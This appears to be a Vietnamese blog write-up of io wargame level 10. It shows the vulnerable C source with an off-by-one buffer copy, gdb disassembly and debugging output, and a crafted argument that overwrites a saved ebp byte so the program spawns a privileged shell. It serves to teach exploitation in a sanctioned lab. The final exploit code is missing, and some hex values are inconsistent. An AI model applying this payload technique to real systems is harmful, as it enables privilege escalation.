fucked lvl10@io !

No comments:
Ở level này, vấn đề đặt ra không khó, nhưng vì chưa đụng đến cũng như chưa từng đọc tài liệu về nó nên bị bí. Source của lvl10 như sau :

#include
#include
#include

// Contributed by Torch

int limit, c;
int getebp() { __asm__("movl %ebp, %eax"); }

void f(char *s)
{
int *i;
char buf[256];

i = (int *)getebp();
limit = *i - (int)buf + 1;
printf("limit = %d\n",limit);
for (c = 0; c < limit && s[c] != '\0'; c++) buf[c] = s[c]; } int main(int argc, char **argv) { int cookie = 1000; if (argc != 2) exit(1); f(argv[1]); if ( cookie == 0xdefaced ) { setresuid(geteuid(), geteuid(), geteuid()); execlp("/bin/sh", "/bin/sh", "-i", NULL); } return 0; }


Ta chú ý 2 dòng này:

i = (int *)getebp();
limit = *i - (int)buf + 1;
Tại sao không phải cộng 1 ??? Bạn có thể đoán được điều gì sẽ xảy ra phải không. Vâng, ta sẽ kiểm chứng điều bạn nghĩ :D .

level10@io:/levels$ gdb level10
...
(gdb) disassemble main
Dump of assembler code for function main:
0x08048472 : lea 0x4(%esp),%ecx
0x08048476 : and $0xfffffff0,%esp
0x08048479 : pushl -0x4(%ecx)
0x0804847c : push %ebp
0x0804847d : mov %esp,%ebp
0x0804847f : push %esi
0x08048480 : push %ebx
0x08048481 : push %ecx
0x08048482 : sub $0x2c,%esp
0x08048485 : mov %ecx,-0x20(%ebp)
0x08048488 : movl $0x3e8,-0x10(%ebp)
0x0804848f : mov -0x20(%ebp),%eax
0x08048492 : cmpl $0x2,(%eax)
0x08048495 : je 0x80484a3
0x08048497 : movl $0x1,(%esp)
0x0804849e : call 0x8048320
0x080484a3 : mov -0x20(%ebp),%edx
0x080484a6 : mov 0x4(%edx),%eax
0x080484a9 : add $0x4,%eax
0x080484ac : mov (%eax),%eax
0x080484ae : mov %eax,(%esp)
0x080484b1 : call 0x80483fb
0x080484b6 : cmpl $0xdefaced,-0x10(%ebp) // cookie == 0xdefaced, chương trình truy xuất cookie tại -0x10(%ebp)
0x080484bd : jne 0x8048506
0x080484bf : call 0x8048330
0x080484c4 : mov %eax,%ebx
0x080484c6 : call 0x8048330
0x080484cb : mov %eax,%esi
0x080484cd : call 0x8048330
0x080484d2 : mov %ebx,0x8(%esp)
...
(gdb) b main
Breakpoint 1 at 0x8048482
(gdb) b f
Breakpoint 2 at 0x8048404
(gdb) disassemble f
Dump of assembler code for function f:
0x080483fb : push %ebp
0x080483fc : mov %esp,%ebp
0x080483fe : sub $0x110,%esp
0x08048404 : call 0x80483f4
0x08048409 : mov %eax,-0x4(%ebp)
0x0804840c : mov -0x4(%ebp),%eax
0x0804840f : mov (%eax),%edx
0x08048411 : lea -0x104(%ebp),%eax
0x08048417 : mov %edx,%ecx
0x08048419 : sub %eax,%ecx
0x0804841b : mov %ecx,%eax
0x0804841d : inc %eax
0x0804841e : mov %eax,0x804974c
0x08048423 : movl $0x0,0x8049750
0x0804842d : jmp 0x8048452
0x0804842f : mov 0x8049750,%edx
0x08048435 : mov 0x8049750,%eax
0x0804843a : add 0x8(%ebp),%eax
0x0804843d : movzbl (%eax),%eax
0x08048440 : mov %al,-0x104(%ebp,%edx,1)
0x08048447 : mov 0x8049750,%eax
0x0804844c : inc %eax
0x0804844d : mov %eax,0x8049750
0x08048452 : mov 0x8049750,%edx
0x08048458 : mov 0x804974c,%eax
0x0804845d : cmp %eax,%edx
0x0804845f : jge 0x8048470
0x08048461 : mov 0x8049750,%eax
0x08048466 : add 0x8(%ebp),%eax
0x08048469 : movzbl (%eax),%eax
---Type to continue, or q to quit---
0x0804846c : test %al,%al
0x0804846e : jne 0x804842f
0x08048470 : leave
0x08048471 : ret
End of assembler dump.
(gdb) b *0x08048741
Breakpoint 3 at 0x8048741

Ta sẽ thử chạy lvl10 với thông số vào là 300 ký tự ngẫu nhiên :

- Tạo genbuf :

- Run :
(gdb) r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9

....

Breakpoint 1, 0x08048482 in main ()
(gdb) i r ebp
ebp 0xbfffdbf8 0xbfffdbf8

(gdb) c
Continuing.

Breakpoint 2, 0x08048404 in f ()
(gdb) c
Continuing.

Breakpoint 4, 0x08048471 in f ()
(gdb) i r ebp ebp 0xbfffdb36 0xbfffdb36
(gdb) x/x $ebp 0xbfffdb36: 0x65413365
(gdb) x/x $ebp-0x10 0xbfffdb26: 0x41386441

---> ebp khi push vào stack đã bị ghi đè 1 byte thành 0xbfffdb36
---> tại offset của ebp tính tới 4 byte là 0x65413345 ứng với chuỗi eA3e trong đoạn genbuf ở trên.
---> khi đó chương trình sẽ truy xuất cookie là 0x41386441 .

Đến đây coi như đã xong, việc còn lại là chỉnh sửa genbuf để phù hợp với phân tích trên. genbuf sau khi chỉnh sửa là :

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7"+"\xed\xac\xef\x0d"+"cede0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9"

Và đoạn exploit như sau :


F/N.